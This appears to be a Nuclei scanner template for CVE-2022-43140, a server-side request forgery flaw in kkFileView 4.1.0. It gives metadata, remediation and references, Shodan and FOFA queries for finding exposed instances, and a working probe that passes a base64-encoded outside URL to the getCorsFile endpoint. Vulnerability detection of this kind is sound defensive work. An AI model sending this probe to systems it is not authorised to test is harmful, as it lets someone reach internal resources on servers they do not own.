kkFileView 4.1.0 - Server-Side Request Forgery

id: CVE-2022-43140

info:
  name: kkFileView 4.1.0 - Server-Side Request Forgery
  author: Co5mos
  severity: high
  description: |
    kkFileView 4.1.0 is susceptible to server-side request forgery via the component cn.keking.web.controller.OnlinePreviewController#getCorsFile. An attacker can force the application to make arbitrary requests via injection of crafted URLs into the url parameter and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, potential data leakage, and further attacks on the server.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SSRF vulnerability in kkFileView 4.1.0.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/392
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43140
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-43140
    cwe-id: CWE-918
    epss-score: 0.01954
    epss-percentile: 0.88673
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - app="kkFileView"
      - app="kkfileview"
      - body="kkfileview"
  tags: cve2022,cve,ssrf,kkFileview,keking

http:
  - method: GET
    path:
      - "{{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}"

    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"
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